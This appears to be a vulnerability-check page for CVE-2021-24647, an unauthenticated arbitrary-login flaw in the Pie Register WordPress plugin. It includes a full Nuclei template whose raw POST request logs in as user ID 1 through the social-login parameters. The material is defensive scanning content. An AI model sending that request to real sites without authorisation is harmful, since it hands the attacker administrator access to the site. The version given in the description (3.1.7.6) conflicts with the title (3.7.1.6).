Pie Register < 3.7.1.6 - Unauthenticated Arbitrary Login

highseverity

8.1CVSS score

9.8%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.1.7.6 has a flaw in the social login implementation, allowing unauthenticated attacker to login as any user on the site by only knowing their user ID or username

Impact

An attacker can gain unauthorized access to the WordPress site and potentially compromise sensitive information.

Fix

Fixed in version 3.7.1.6

How to confirm it

Send: GET /wp-content/plugins/pie-register/readme.txt ; POST /login/ ; GET /wp-admin/profile.php
Positive when: status_code_3 == 200 and contains(body_1, "pieregister") and contains(body_3, "Username") && contains(body_3, "email-description")

Run it with nuclei: nuclei -id CVE-2021-24647 -u <target>

The full check

id: CVE-2021-24647

info:
  name: Pie Register < 3.7.1.6 - Unauthenticated Arbitrary Login
  author: DhiyaneshDK
  severity: high
  description: |
    The Registration Forms  User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.1.7.6 has a flaw in the social login implementation, allowing unauthenticated attacker to login as any user on the site by only knowing their user ID or username
  impact: |
    An attacker can gain unauthorized access to the WordPress site and potentially compromise sensitive information.
  remediation: Fixed in version 3.7.1.6
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24647
    - https://github.com/RandomRobbieBF/CVE-2021-24647
    - https://wpscan.com/vulnerability/40d347b1-b86e-477d-b4c6-da105935ce37
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2021-24647
    cwe-id: CWE-287
    epss-score: 0.0983
    epss-percentile: 0.95594
    cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: genetechsolutions
    product: pie_register
    framework: wordpress
  tags: cve,cve2021,unauth,pie-register,wpscan,wp-plugin,wordpress,wp,genetechsolutions,vkev,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/pie-register/readme.txt HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{randstr}}&pwd={{randstr}}&social_site=true&user_id_social_site=1&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/profile.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_1, "pieregister")'
          - 'contains(body_3, "Username") && contains(body_3, "email-description")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from